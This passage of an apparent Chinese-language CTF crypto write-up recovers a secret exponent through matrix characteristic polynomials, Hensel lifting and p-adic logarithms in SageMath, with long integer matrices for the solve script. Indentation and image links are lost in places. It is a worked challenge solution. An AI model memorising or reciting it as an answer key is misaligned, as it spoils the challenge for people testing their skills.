140699034074122065256106025232290116272375502021253445854144545363650205473479786983379712831489839951490301751164687395163061139738925263346634927185843696941561452009483828044594070804111466954589139542999392394730689690137733865, 380375936986845038871551809892622465639125005771844519114116434850737110021853855219657706660385238694144858204780903234710046527915985563580310037104743122856073826627642730329850308370601926063577743719583636370982332985555305202, 222721615037081006017618568159299553589116460060630771488412634838613486629595555102383711051074576819743764513171179361670244517032766426600736379181343009675113064626929753379487982248283719915689208967760768488998141481956037486, 137109026272557582450676903590369330529907655859595897117236909773986711607577579013419357709132422334383225834738853489722446611069245771152984684696927411450169127775236269459102313200207740725978443543821507856268390820308368097, 282819847109111875211548657561432856292512712750918517890307608355678960751465449157510760794084723393662477858027766206433994368962842083386543062308360799675451066488346908987431370491067755061823090317508723313278017701827530477, 17766098737960831446535735537114926624396408289721089223313388268361139788962706083920780819581240150208342519617168807370449807513295636657806358216912689336095576730416148100913474979024030097219996107872237252636810191462774121, 28039555921859855903147577222205655580237033940604282525328349495963197823028023887102561612611155530884934114983775602989240216330992544648122757775772623060959691634439226243652380496710513058892499174292813637646805348005558099), (196780113321008839279775971806078435491124639299885679528974657578950041985901967215248120218297697420672022570582393242604356896218145470629598910164003805465623321716656791192044040020140378989040436755649052059670554105838360973, 60365964129141780376309817223172211351106512478955416338459077640975589720345790479762899297685489996852458672755660668139031267846349831758827353831309129868216074410595241870440951245153099737770602868609363612686930511645494573, 13758053418275401595560247022924346881263463429411414531719482390263307633002989951880349016851689423426394319313377419637931537576985029259452258546132221588901488644177370323194341827366233872821281971632078790266162658349998961, 456208470774518580939949376064682078482049719607907459690097280073638161608842360085009530094331293796933273260641685332956259369260204186208250417890186497384192581448665118675448937221237109452946274129683167496769689742255678035, 150223822852321275563525510091097039479787434157193536492192820409576956223323789904628476393193714924115047415652735241422331696129313553661156761646520993142383572119256375854028647414720832048113239054367159207427346592950389732, 68505521449766005252785930672715662075655294861424981807673071793129364231524891137174676574704976057084082061339817617542761392798518458926238368862446223981127513210933386682636085083104846184471547721186386545450541957799611475, 198409958689859354861155087622902179335611284034702139083291649113639945818107615873946631117647588412271720615969025070289647696440057605931537093898298764594250314729500257651015592230408175244623745044335259219271085033396941652, 180686784241566922902875966772921342218490935837334434846529343653453860221683328267701500998902635502480178631072520811242900066928189982690815004073492900171942684820719841486746241367361352708319624233982154707503104492452428049), (135291065328327055945680676329512075628922163013070432065200521588814858478010611106201867921436691784846271579704959895434049745753213048150465082378310724123176075858165242204601910158194510692598478525334699531677888030825146009, 107648657036507820455839154599282144820928118251959687132846418951132271710795131321708708173332682170118695319785699815172170832456171961590249399806120858576622175573135668042965054319273266136178681187804056034343672556689383177, 444439219438063589780185211715966524364773197685844443145920739209434813677537906686389057430851101989528526827249115180778068690349005858119233602019492587178352639937666281224355908189904174912378526586502026041908132810030399858, 303685185641655654806311740386381700661140643746271182862984377254057167075470223309850167668000129035529735250158603431166045230356870531321386875578198077310885518561805206624278279865734994090139700730804449034879953452769405053, 475972946973456406149137884044129543057512128366110867538290518786782463232662910835157506188724643112982982373523310088499730671761782490805435826849200519880272465961891066031526038538828559954395932129564988466509175028533881386, 167858990822053569889619706038237502315379960409198585540535001984976484218102301507661813634072062920841258648880027388151763336839372709812559382314337316028576273644639083778496560295818513866709322268570064455259371240961918646, 299987466157221862954623924201456599212552394044712682628816790610247159630717806315403463592071710314625809462246782227750702635108352257578996235008353539868875533318440508895987124353657033351892794978334779078322197714388681044, 275806757295949366848339642625270473753526337140187094741027128380081183764327761157984949177360325630653114535671142832112927687706361594796791487522845781216969810387004486184626474335017374632193157269613644575327115907168465715), (454203567324690951796337243511289947831623918865661303691904961359350970269882858427374495049913360353749003113401759269223421940342615094812382341830735191260027705120222088381530352626858649956458095472485711713187288992426687490, 13642875655579768425151737966244180198947185085905631655572975660112241401153998562410356333470883695218902038990526700355340775651598942318758022716249258621273510705017018922682940158017250829572427482270236797910481339221976706, 38529347486606269299865410805451621470813361410621199206768752562324097679725197412877165383863583629436075322608680605695968048074898223348599601672390409395585193305010186702355551820088519048067553439060690128734413639835564496, 55342853775111293342985871325646311760560732310330582384209471489391682876192058425231753051825822823386860240196103545803592432425359915025414286069570429697894868099475064000126231250581177601134399456333023946818639768307814245, 363528894569144546285063286175419468475540323169723345963982240307165070786643651094936597735070984235467876537423782483522087439764388848712261276354833228908296216559496061503997094749695863756068550840417441997165542096835660189, 169199758247527407688962836099334305761474456130020474155548835335215235690636038890587287595919166771295302325890465219103366346841001262210448258193670483713058207797050107489056346915080744929601966894262203332459456992626841524, 485757167924083919411499325903821922922195250972710206289141869217502287881496553476033839772232174977204573929554514685722664479668503656051931435811463913801094100439227567256856913737806255900292907345160950691691920166276292294, 100798615587233335868789319190017274254311873225721885186080547398477587781853383079499707517174714192458389344546896387529556798757019581597671934385624492485710156803041295010657704564112546772933090355861833325587923175776609861), (331320173364241756473750613594679834966352638058616497006703277455486858025715277822573375828520579067357662103419072707905296047713395897867924256442125076823450899070145592826836753250008709635526509094145101077866691541611488341, 25958772122849545887904510346509424385237332422393104441759009034527059119832033504068470300633874029294186326391890843622323811547756247737946640304484002010212539617397493747447172691314406987045000538726558988723752185288910027, 327102186995964461431775477450650835610431392251263291394684476628946931163313583551363572205117072518273574078240825139802058966950448166329382695841179033158282922762845436965299294491896455630627672764613848988618257951422059142, 394497494212228957802161190551839893481026112921073006532717343918965053941044462269265192018544466243819410636859696105900807857945938277287096901753440382450665985941730017527071773670359445658748273109535241633372781115609747750, 196327636535834262823234989305369357419961720812917902067993918713246915741342549382350254927967631763431350030121972530114911142554901931685383740299842490811582252047276281475306432943230385998384367776221931304690864560849850420, 176932605675163638623737818984197320151982137512169618344579481022898847208518789399153716373931873240794480141083247379144061730043106575672330616416741075136214426389262519416045566261083801954628853228827405415017118885444300324, 135488753544438346082349500899241536734004471666256119487460208946420284497778060807426198837933645282357528921572001755575856253492005187326486342054804799491756203325714994403233823349487862206036023974163288299130085199238683721, 365062669360722114544317005086432120910385110052754362782363190846202997782318740730213832848747837514689498427698897287966155790204268135850059318591883189932618970014230585224284143115369049852849734180739142839917594963064637971)]
ct = 0xb7df98ace3796355c2a3a9230760569b53814889e975fe2f50992b3e1683898d918ab7f392f80628b7a0dc3a43e854b7
R.<x> = PolynomialRing(Zmod(p^3))
M = matrix(R,M)
Ma = matrix(R,Ma)
Mb = matrix(R,Mb)
for i in range(8):
M[i,i] -= x
Ma[i,i] -= x
Mb[i,i] -= x
f1 = M.det()
f2 = Ma.det()
f3 = Mb.det()
print(f1)
def p3rt(f):
pm = int((f.change_ring(GF(p)).roots())[1][0])
f1 = f.change_ring(Zmod(p^2))
x1 = int((f1(pm+x*p).change_ring(ZZ)/p).change_ring(GF(p)).roots()[0][0])
f2 = f.change_ring(Zmod(p^3))
x2 = int((f2(pm+x1*p+x*p^2).change_ring(ZZ)/p^2).change_ring(GF(p)).roots()[0][0])
assert f2(pm+x1*p+x2*p^2) == 0
return pm+x1*p+x2*p^2
pm = p3rt(f1)
pa = p3rt(f2)
pb = p3rt(f3)
Qpp = Qp(p, prec=3)
print(pm)
s = (Qpp(int(pa)).log() / Qpp(int(pm)).log()).lift()但是这里的p-adic是不能直接出解的，找到了maple的博客
https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/?highlight=p+adic#shard
-20240319001409321.(null))
此处得到的s是a关于p^2的模数，那么只差一个a=s+kp^2的k参数我们就能够恢复明文了，这里可以调用式子
-20240319001409493.(null))
因此根据上述分析，只要在p上解一半的ph就能够打出随机数，随机数的bit数正好也卡在界上。
S = pow(pm,s,p)
cc = pa/S
print(cc)
#ph
s = 1325320225204819411633212611196900933712985553946867242740036184920820151170644447203387585434429068385086465622576212219954778675350600651559697925241138
mod = 790191702979014678060268
print(pow(pm,125935396724697525545091,p) == cc)
a = (s+125935396724697525545091*p^2)
print(pa)
print(pm)
print(pow(pm,a,p^3) == pa%p^3)完整exp如下
from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES
p = 79008119711208495443423312926395331665944721527891616265679009115440018598629
M = [(347678119958623460788277114650629774156484674182390407399241523585095496347942772461000596396901640484684988947190109655326521483576200233900544625245600119191960053589012035537199831277011448368613385709903523556740279710104629127, 444211323079879570538651632722098964455276040143902990421762539018022383569296850728307819827968466931652216269183647912469948761451209381276058842517332853698589849162851683768955092271855801557650839664624273093462916802929350907, 389396606654281224497105968939970544252688314372350659656972239889870980785246213815536002322789780387580318885906934486170473525419006357982158903730740710980023297350968756236102276271386346469798976862109145537838101040408820587, 55197443724371607001727245468467161526790699026330775880731850471040434310497369600478723267196488899717710558671332404670233719420992875735985329000814567702670999282698414113183576703463352249859300392785088713582792961381846484, 417040298815206153009894309302253020063754161403773008029537366566298883213853420596295869167792196918558312896346649716803878757723186307198249801153874858076172777563471364810800787830786076561750158041469900092598487828461197774, 127707877273623052473208681094067078630772222772401066740928445838451601510893795542714452034351295614935354154553839732084332538620517582097782961860319622427490052337415631683278672539325114498093874420561779032644187025529937904, 53558527487363456314894683621019248149442517710836792202317220756130403880206179594795975110690393421925222715987686952690272492356773914976335904278186942121335664360036280502903498645393202985787661777693334718043601039027459847, 9819336335938222854664208554615310687581583386195054678243798194121790201631757068304338165362147366089621843815735240596160848240990751059185000027413621502700583062646636189729276386498444155782815617916333191333937034271590791), (344221072627038209103759561491511442796627777075649831226806391267516140949984907999829525336446237691548967012033398172655720020069993364488427327727965675954838755859017209859320491532866074550838846167012154372407940364247497355, 160851030357181706425258145580629021356642228478249361609279427322434509577628151979125129451503477614315230485457679520629142148453017378132426123188179984549189512670486807019440004691200065853997452184898643258104610477385420491, 144923911422826934173272123529726720834575993839793663266527776913213728825897811967222994713736236164400618691622249014503791047270118498376192361476784695269707056598907559178494094329857365623305940244348490852449273102246187261, 8156517362284210441409955593538981746405741693240037029797095211459925826665927622787052917180566407185521255247179372934778963951383263717981440886115044082609461652587891541234073133766687577213638516943093483901124305628415794, 278967151616290032416297538193453961465493377344351391497016940269161902377745914236283989672035646563877321868531656750440402227281815263183152512726052011974425229429341282947133309441777117454723368362378279652764274189044067411, 323854622052706547244808972432023622917561536752684855051594841401611326816232314490322508110512117063519702425825076068152418013455564276662343430918368542328933117359411072959916305193855929264346398190221362351312604283602530916, 250502950002827358235310261600307497656251445433197634739930454726770880043478414680188068868729060468473536601463156639704028120323653305687500121586098678210038143997062899888816900087323847847730009918908265551296694457885731913, 16031484155748743785552038433314841198261268204956805475912249988231293693809206769302989236138591591521853626661930029776092376890670693156123334492533217701674828712129617129024961665657783472926454455718295221755777447102788197), (134462662709344633026611783680728397198918607820443115921543164815324816879539025315445788869102439171623505481607649752465294692682968702899443959434897841947700777957619084551596464307231209892683453615079012650747748118959113464, 391302022710538527114038978764307195138123402371304672960354058566064589093754414608119840320565251827794119318690316418531550508972124937959987485712718659397905156952760521044875454899996898374044688215685509370526081007001846125, 16295181582565480451076161591631245775894671486329914478186945166625555375049345228437001872979924121495713521991168671603711744190632953182293251184093787063867063687821786334813217065136790894223676406981462977608711429912853633, 369263157608083171680647138867073107390306438356636924816114710091029505451894384575469319259431428793128061332590162576398262143508725050506285740618182449305956507905732334288282498979041817994810883617601991673720579479729559997, 204306190526105932470088245041825520778872413136782990325425046032159778341333009819380389169749994460998245171036626480013468954874832416267221754177965240735696340653724431949324916357798785834543977891945540307280851141279396075, 389645112298834474398866354358868893359932818638433667881284511949882947203160458503508481154015103889785414219011618888713679907502292331106569559063021538247967884562735128331636355753007969797227272519143216474411103605169236951, 458514243577502634503183802587236407158366948723375981663297913698334667155769270422982437755553281264271951608487755316355355212371251777660133555574623223898747330349245698186490300355873153184519132567616518246335909234236644029, 270447154394690486686754245253694243177263143345820460799187796730518087031018921859054771202034394492097589468189365264133731766837441063883206943777509575678314902816237212581448314450461648939477012908918296255606106562014902563), (51198537560740594623749358582725227077627301295670410923249000426723559678809541352888172403071649819617298439051221258041663611040848543807799644854108220270178928660875841129010125165362142790172373669281451452552741863883910858, 99641770757101737029542037956421861300408933209879799533611874216234843235972069359245283436913075130906650555118585958788505508501634382548484362456587697227109610781502708520819016333621347379814351408448497556400247072494935627, 421046730195284146415264715142410971973849607847800145197860030696131941356694954628423985775937709649778648032394910366469904015796160690612877944276105124574609631020654556822466004845435018019920805635656707439369032804510926306, 477516954225627261649687290337175054036375800022868034654074804516359177013490411184818225416623621196350557892048977893803536456939375954322241199139650329168040747374879506489182238513471729966479963602629714598190127264801188366, 247928026937837554355145033092270300554842493224322728066824513882072761917489193854492203855619305093589085307422034217522446797937026661875574555875005032824544900129267621367005192823078805689061004908037290287083925170954656821, 141853078298246804800793823650413928994959181838901261185168152661772992779063791532366978747137307158520272304228098476644472849594175953250781295897569982872411399883226631120474887345544496368406330280444812444794166162267633893, 275867151901088813908452913880506695695504260055403304046095302624631865990598036693197111495659235956605957819210692243568899040830830165140276633026939996762007356808290999406426902762704842861641578412497336434860068567071904717, 422715621377225990946489056362732944619835399139280916956752062526661552395429682160766988840712207661231850640516455978511635878700597407285783670789711971257192384128902842017556400486124144501773663263068375937434378942699177499), (97718169221038638585050853769328815125336108762691702108071812025326727809259053381331538017571791258464615163192806968320146284030498216655320124183361771134686470767607192438658812771378065930182061379991859219649977913861017897, 48866016248539440081747126390251812820049476623892603808999031103920526565567830166024215892493092791157032038569956313674571052788336906113395529951195551316680567158208030086370713663454649068078024566884767315916799825101620508, 288982243649474523573737415762940643624251188876534847318400119187314054907226215553943648253012645621033043147694079844258040494202315441445813033747968913176678534442259623378652655417022637462335401427251603255294148043909305611, 222926930359894429031067566839862783704586352632013772308796423027396871395919677074128333677255975415362933348338257625271617693334064641392015730141008122773769886178846688362636273274828198058127202925217225663496639999094256412, 467102215937465841863457728133306742748093130511517567779889974488647077594223970469254585740669792455254899626043402498420386319555708453944803278787465513485488889285821192026895607645019880121990519763178154613630940927626212538, 180382682587134568933177648439318591154991832525207007837471480865338528568398804451795894087514928426307349284849061325028156371483396714292808125709919106889837390356040612530451147682943897205810790348415563405776670174659196451, 465365022027077946173297051734564019609673670657477568052799681019997212636277909736558371241157216598266868885370428910346211726628278107472993987271318813368565540085214394918411725847778599823055793601401377244424002941952862871, 160383938450880387584857741784237253653411075047224510304318482648441774857889426659659825609096420592985660752329530767231733186930019435813661784912049437430628396207975330312226039395440726228675090944392886017885706116168499570), (88879922112924575576184949252769078684998502533550526748699458818918813381407910217221317107582209922127877434689339462581626923597143430107508619952832055268871541368068614186130551273431488087012363253998162253261830299714697363, 471466337272277024541144902236194387834332813442887713050716270121449130017627035838208220362142197048338981645612554424468509377071566569529948004365441233182678292053614824314801745531478143045725880070818555542916870476154005467, 314015874261088917119070445380155696454677896381955287076997643803067713741272068338262510738147775772149238168094729546687184506623629496153791635372277431001062617132314520317058247857998330983665845903826400193140603476244556546, 321997143621710524036491111925942633130325744033117721723808812326473800035587586636383291921313814025315496668441442004599740268254399841355783778677909004998622790019860334206895849856129248849621798981164997449733165901588134270, 411708346694149746803778763586158245419631857196436369760702503485328425241775130456507646888002473231427647717474153168724168976950596067597032158661718114334930295082329829452096808999386183066916806324840427311647079692359049411, 216385154420057048706614325845651316289382990478372830121532583392302419920738950597312092915591889010954727973990728400002567653612387058422340229218949469568907619078850600407639741671876791072719163874066447180921112103565243931, 111523682512993117113082284989015414545047398919145518567692247094563763679705392450031104320951905567233333183753138209820795588972051081650937673352339151815447796171710217835615677373729845659231209177465207517782414301012089613, 103079965048362151777337252688757054446795558604378649495936980552489598796838265407222977512049979129789565085280115616064322018798793650256749031319583450764861868985882674752559469829345580533630847612585618276220372501183544442), (438862098728236589900657735299597012163103761886358247867589852428310291971665415802316991486312917640828152459278893825951388997467730667706254705790766632977930430881345198316488697606595203887101358381390177287010864796317766737, 186281137806715442120797627520637223977095064581576047024132710790100117494151221446570875784179004771205057673008509138256543902960655924833468919632750533673497333715745108868170285444332158718396141238328733302293537106130258316, 100536775780026308690893115685912553600368283269480000912956503006380232301469306303611684636727473688455199769164650785609407467556175057171971723188155925825478900299975409044173880017640444686498392077827702823841658932399297011, 34198085957823799426190770813662983674909082148068733064817318260729301107796333397704122872992838174038311359049520011181279626244205822226654898442988395343040138187486273307040060503171879939891524579313694977091298929325903353, 440145693327632223535499301617250561846004975673383255753907047110269646991601381197055849748705800992010526551775121152386999353250131200873204299386838420967732886253376689422598768870131899787220938662143123403201312736321266732, 253781662328615406979988894071411625617898512915716549983231316955710799053716800173453332400409819337440476338491264607653885574037648621035626386891589401142568688563480797363431300529467240303864209299919816880264656176714845099, 101250276445253892460363696534876121945576962317179937793638450392828905833215769079510624520708407600022104683844611328080306125450254480938972994233153979072940128864209669141978687440981636682117779966638793360368583832820647429, 233927985567339180725752987820007785021812940617927546669060901265748720332042227286700469002229944259370659828475453686102204470563890062336259342081941740013812748837153685436036512906569625313264400289077194550659866614215919258), (97569386838905858010236004403265055784438557361317652496677195903888709828446206426335144197360257223875794412164587876897211320842938718907543466905408226624112457293403600524976608750253468936902194991399302216534001780338048544, 114387802543200663063032046650447162999283002233570653586344104395583821437126832571543265273521228441701529490977656323716463101497387270416592526260538050538894661328253712014311324898089348518147557249543983902548245408440841379, 275995378098065734729702626885501143234566566802869424070754368018683264109574487553182112919356609818843752031533427294494502826639985274757793718795833807847458934742899326158233827146021405020603027161206396048629903567695649896, 247390830384338670575031511036318580157984049784242586645349784353362476026928054622944972621559934108379156038206594461909048037109830605515475780081631764376188155546049861592639905093180183547950031236729210530064358005464374304, 469887957228202573319982871182735039726402956158007394502980093285356478002326483673025800590899504822290164111805311553787123253732772728454207877179979459269443511168862971232805869239275233736586492978332188960712644161596622387, 364995454036511583022864237485246245974826920958906181249972329284206202589428440098640177729188844510487766326465730145012710671785489023476705056089747766719108681639452142580475269735142779399751387994179336351213672807686008399, 144349559643636765794966525222174252648836842221816308639510173845650890139994296673718160556928852257192438359469073106140767289382982897863037743749489352636379233954970915911125370386016230000340118640472057896952912534198812622, 445926690035096711058688237447141574364203293942083800808917009959883405223529254653216371583693273191563597076452910473305818575577766404269991579514954907602005495656306426843458190725385174022060682281541707233849859540119073308)]
Ma =[(206739768424289995451379398337655608403465055027766062967580929283061090086544073423258115867409009092522507228936186770868556105745186863859938139174084244311364028597954483515297909099794805510295594029536567095422645712679806242, 382562915586718065879841534272998427998660359610099989658144416999797696632121339288370968165694025043104059500196056873941019691438728780462884770398254519774400446744767808508879397052746123619509589032620004480995470576382031616, 114892496984246433729398168543811142340857269117663910023242903495529086298397872260320850557185920318434462154333027987306461123278340611731417943226952018780234158169227780656661496027594678267823376933341808174521586252347844107, 359436348849617938631873704804625585671385358364963982613369944772032384982575639592334444443905740023233393402361830107651422206017868997327492094081244179129361332339949436106820171818228473882551667780705835467494424378586197979, 230035681988760462584479429500510686841437986679566870458718753552475834971327193239215822400672734794371877181951089235136664783990639386330707749571748579377391901978506091782891154738899622675106871969584759356212098095181531325, 26104030024361817715524155452906881481483833290694242559193802912808453584921873474148167368137729510385672127088071748599124859763827297739296128903117715703647645953898047818525455812432096642649663428820153492204491545275847578, 399217785510963114164012324636161089797181037664139977002573483579037127911032706374655841687064224105504227541566644824198893285827575706237676458897623515742120343696858923999333000010138598303054092639439818166426505581565803420, 424670096125546444564452400779433655474175081693695827789470621582840938343374561272380146322748420259816530568034694558789495384304336316967763525837220349982790131991086460850306769623225508012135790138058692443879444609022631721), (112802181908780696786024305163338580395135187541242450761534775398797575592248754754041958623033810394083469556185204874750702804826683576428597548934449344536899584978619947243414051513143873995804838813534208137713764249146440425, 330357768221341177094754718206199892820491839114957501758088933540619145752623336009387404848742267321049340302117524509904304935475952228324309050221114520517003614548520742588965584996860963106527350136027721892212922539936455373, 94734409486539446120830072070020934001340115831262475811882517864090962567912245374084830133609585203482044778370787400383009237929537051352918856553738279669541968641940137704886205163289314610697149938897286601089370929640339671, 407304333174498330207813242406707056775828269821430603966442883159438330588634005406281654289008737634877057283748770987820755258392862284121164560794860789219832430985940211943965994171863979353022355124174996281410627902952729819, 135775738247440987345608387190244418127372308646944678338042457061203262889043191854529100461118879657574135521960307492636023774002606295430509373289429831234841725036012604894759156636838528015725347985546930657506992966915939209, 117531396247378578658359615360499933402405042267675232746828748488960880426879874066974805093090059686396933036940605699139150621574066773721216479654515622069433646411070099152536288593975102515439192610620377818491628579807151774, 215502176468192790196648520001398947387943819789659219187091911772194516402531330391833923628769831966385708137893264371679755796383245399315428921874620062068005489988239742440809877310296648770105269542686351053797271203178362137, 172655300193063401588964199181007423145834056722312586083350490319148520232372860174135598619314108210660413807870327094149985441000852716775402679784962007685008452753517696089474096202321518077358810223223268885164998998274871640), (19596529668521889820415448487485218136874297949284570575522785460789385017442814463234739738989338475851489263786305002804890632724468665387039586328565238209720031217160926501764450913905725915473697978616419059457044170544930587, 309382258188510725456358118877923209354232882055542720263678713909435334857008536313039727396917921994561062195128128521214413227038847912829108683750232899971979519854096287958044636602539208291608672793243313988904934037142657559, 327748032188201965111858545310651283371435429350262559280773108605738049189239518532813432151254162525633054693291029008680852651601626615429343388644389566208285335837898588243129899179431711858607677115656161438534363815555803757, 311945333819513900838146725411803430100313209197085623297479702112198955101018547213473364634602566644158113193349859509837286062630479808291022887591750865800252251870559567198972921058464903273762362045753249986654652684541679530, 421139319657930082712175342000949141503806976507912015436463149219793467073778281341287132102333699149759339547373409493109118537219529791611605226603747851978544874505849275774485951150088046342265142489984682945864816321849723092, 55114926113072208745236210622009354061170523971744989133646881315117560916247828293637849646948020991740411746321010349402551573632353808621879262303851165608835995966845419249843719341629734464930287294380823793098865973295151539, 485626860749278499674538814926858777265145751106748964701804485845672197261392924411306723845169776802316701840167451628670688342584946662101236461096720682673560065016628190511924377284453206128778484865744246144778927486264456996, 451190850454546613214713026456030883296280794563895768545560041744945242353633459110563180719128678276583575326021437547656062986416503084531095237944141369915356765394519489307554825079641163266486657599553123056951867107756569312), (69012148315111357033860779978728314581613673775563745466512975467230265580931606824172835767873060141468336753336495192951955811962002150633318769230205407933035358606458211502873695806675157861239323728602157751511548452064122994, 167128123066767938170840550290244726445253848640043032915748542544234190335982517801036072233174546181747733636711948236348876856454683987888581251800759220434166474718410101702108741134081948907876698796553364955931709172518289985, 120697014785960602094550308956835255661034112724498205648399168047575337344514273909786062191821983850561563413794077373743602882875669209823143983906103453307868010689845255505705333978289779766288712580219568895577347711126211251, 124065901487217654378457709583463851027579155122998638960810241595753922945070741028513711468496074598976850504126408741846252445456058639964095959655298844197865223377145982110742996384474394011803179261566208390595658806885286714, 176523228173908115459256673752458309960935648529324985881147191181341693588889283624991797807900452917529382251738537513676724614160603056197926148938339734811023455094248284978281605746072257818770762635885269105621512152797130626, 457030239234335582061709381459374878591479326970468103729348903416323659017739601492654595658107456872361691241381621399455337436904289270201631318339027429911860892896250103879737493130847358049484539626923642764080971036904048117, 211128527306906240686197945554515706262456310044368810785920349958639417171435562684312351985237697357104433051122489310023169759351994208294248874492051888506392502208517276823492920893718633285550146109925425959140959929028761711, 467038527562091332295181061580210361244921320571636155180873887984523043530909193804798409562897831964690254428843921549747715663607477518219877938424323636111299157469208759054550512672338019965456209912421388790248910549703361601), (286889451960762078008374843702919154211598218509773022676002528625062923970938864332387046308586243744755705910363885283582515100831772262038017965400870411525869658314565589134201966590005301840033603248541806925501023094873354141, 424430968167681669348460078729197444059014196361100615166208735149397727049749010735790280624279805262228995276049639270973068308019326344546431949139218050850103652906114481600076820885663411432366964970304680839893307290146527475, 102162834351005713554042721720151654773442197852055070383768851902533035077390704138216695569017569922825786373728512729031876641480950000205964049908335217664593457590670838203598613270829732545651941427332991182350856243824424996, 362436531831000051380598240785672172625998946029110753337471448631593860593895262037730730300370618354918017559074970765022276056636157288439899305723523129643147357335851699145590750032296948975862019978191931833789804970472630477, 63935904944588765946334266766562844886775398881651320301611765460809888464098684381027093362267562367828002612311602172310146288840473359075552677906869510436365715132492855559811718397265183823726258343178216270095375938351598221, 56334464633924772329213989954547659438550902103647129977088539971245509202657229014333987636165509952038659800474021155928698809320567763191172681556528878444838465794236525325724826147767754150939518244974638428428550162731888814, 4666854985924078285850691634923897966451833778005653994005631446242284827142081555082355308862030656435305402581074044622341088426620629410503684956517405750598309561266224069588880032003729516730773028365638240768851028134683191, 257267584349654352363562675775015826092465719675656353869490935505406502524613134365852967065267414581628042406629009273014296098013501677907274627188011390812000634763634262662410040825635530225913615622637219471201979617875148059), (205472258748247968391252342204306899259272967802192167655561993080731738609965335396971831557583278031043978883611932406512031033499960418640080958965889959233728839066270144355400866987712362952860018947592633539061870352212898380, 340907386179532648220463132012162752460847843653236502545190607433172308929696951601533863456592451726433615290686042748613662305707824500612657407793143272867514318257418975690737967057887231198187591659092941163253982973625480805, 280293992462769563254670588092519422249143939149950393914068618216938222485463256339099241635391660328805908290810577368933039145682104188475930140138412874030813697631661910299972989818435276627764309379728819897858301563814669966, 14079730490341374206318802662246560704340203682647962922503369212277209114843407976759294548200499537261595252162356058744162509493070991253028758296018508523408623318621956854835254957483204095829279461512164398152320909641204768, 332055031952123369414938403250471739316272754685397712355092108386360953850427791478266200115111932325768773240986504121108703369704012881142498156914950868873042244049665960216120748237959703099434921793479664195766438168116338986, 437626510924101776153624449664740498372169620943426774791954180896965730903375788184329771227121089525201702076880923446508466859272821889868899863350906500775393218414657037090418474733611129592329045499648135190545809562088706988, 47877033536697263671417769427103003925520709001054128857291517435696557773157229033312913624337899669825943125875830477115205989748455687873958401331046244650899446404490670354251227279092089158456897118755100056045088077116166269, 24211181002477092241097087007722112515886159959270886650735856649358694311063003794722346504868720829066889125753567377157947054057673365963361710821562752564072318836428898378658801010539928830665714121044631389715737740048864226), (121793196256539114786757418188348804946639586769646129346479386827275177574872938718334235069010244319969030508174612133489323279924946232282901309363069177246544976767009696558995412287371884167311594891963684400757204463082274807, 257192617068255068866447964030130965944740805580493715477750150203547644908237702948282618995817554824951572072323666978546653865160905225901738468330639447046011591976959449805217098095125731131929248906633866803903441691248885372, 231788206481747623048470328882955956173173962891889003250650693899084913612096995872746495155665964419692702554553875713627210649463661660331077383096957887944856158869721105419040920582860970445686984900471306703600921992072707076, 325610486109007404964388032944702953793282865935790520132179948314866397026184724411875732712570930186184510390829035280799019938029767687255392454462493636893171250444492107035375904168464234742849584073097046274029752739580440798, 245033226906546268180205401695411869144576884260296287541949735578122830590058536040186991551867947239446831348514322376412622059802000763739204213391486638595656873012001229718410258552300925008387800127669767408359555630556491352, 138421605257676539579391859006147077651273406295626791183640647399695168643846559403480735337784852285651393639314578254128166022809501253220056857132899071469327029093279280479805026696489431385355628883788495283531323403771763722, 144790255235505859656949633523119421953222643213725285961638466725917121613922706310341157610865369570255576398972594664377420622723385378095740777060293841025843372025377007807051142047652481204587990204632215773976347127886852948, 315657741612894943016101833051609698393965892670985735674095134332329025806098303614431765806531730305640380985849327562185010540847520031424606937730898173348489856866422490850445891524496873510117477320422667974413456698965449039), (235366064826898644334025784051618445958418381649404431381928396786434112486793419003015646075592379935503961291319453770697170916944647647717922077582371886352591578460421219384691055139660032798228505567527126999990679695045881820, 268509531845862080092260936568128092752664650191005625512396807836480988959847119477843837957325761041853438740032064287373197069175948810979043013776971941548085129143445544304380373367086522606695904633997206470862393274778197587, 422748155680969651610398924743843995014955950961537354917227217148644032999303611036192316478001123506144784938027433588946997801658720940329768307705417474687829994691554303435860050499476823261737606556445050926072856919554772433, 161717621782209062726022330966501822351606057505696851743939082418965807168611061532022480086455924870260019432154525897467099376113909854969106879874618375572829571146545031524527417821746372676222787342162784809855771818317714630, 425619133444363921424997290076640521818392237765846808752574276410143363345415554778390709041576121289827574172927648327735187994167401357321923150670091353484782100262707249121522546736382705264813767209798061036899739756848910161, 126526992636367892617730575655458897545176503731548506246035871874868930716873202248536374101465071091953788814887596165754808584687556930532786106270188864797354792234026904976690713353210013872592075040061047222298385979455348552, 292547294361964649944052202224409400888129073046226078265221761027156642578028652869177362910249751847468882936457900905389470620921344986318146642384554315571817070881057642081542122903617295734256644650230590284956624919139280389, 290885030576189351836260311202947092166870714101795962185503257898312668761241997952036122331738248280772791798286278342542990004564734791050077531599221175244837628823681652015346122616003994498775357759076565750882950497513350374)]
Mb = [(452904818193039805256768769164475282389784941291299908689400370366615058750946281832344614194737265002981172639519709888150456889583308441975270391798687395301550632746246427974825660113643569647743179092865179447780207248646729335, 404639866348938118315548736376442690427520827256788291920792546804075878116026454590098829891936074866156976011260608573062878897832194507215366825089159659422966797199054745686484999318262503750949719195259339974169486730915431146, 213477282957393076405285724454233042923584506001517474647441483998602869851426756346959093584866835295517668445098059578059766531360013500797926865327576375163993143693316163726440138255524624704091893666776571529099776840111148666, 189684910152266380379860438738137573195835259313981628687330163389320360386879823828441404518184238115769505346633555090279577171253984042364854407659105992235558301877788518368102872696362867299215087772085419503833724737128114491, 162037281043570811150345846857518949299344132641363714661582729646796505254510127669848510481399398533708958177729919266976329370836029071345298680098334438631087015073748294072480500122041673030932846895717623746236333881940489258, 35766095621072903032082812519160090172517549166056749189560403740357820028003934127517647407458914815034684840491337335797320862983299717749398240847405900382359937295624170653916841357509854187117114252379530697262250785309125661, 20810592951875878094461663966787419243666321848957214182823631830301596332253219517828937466269769656016013293222213493810282398600564098455636587287613806082422324171924843264395148887822594884913910045257249052144162339838360138, 421166625882975138342595816092287476568583448897879208348708790346587612284814681700682949792149617669946496117592551705875737147762820716637068837845307193922944735444411667788843253356095559252089916075279340648315444502668987987), (285925551001039340149753541928559312964375311177217983252344185178820303624132891387771484757408664791064681484408895573118765723252067014626231512471372570309100370171354846767865261242957388120771345534988602792670496840317353316, 164246498938177720590700056462053685237525878063232752401198309423523923349490885137424378754999238652403175626896161248304082671000587768275728739746394517570825012558593346700684472517921228774167452493783226243991693596668033330, 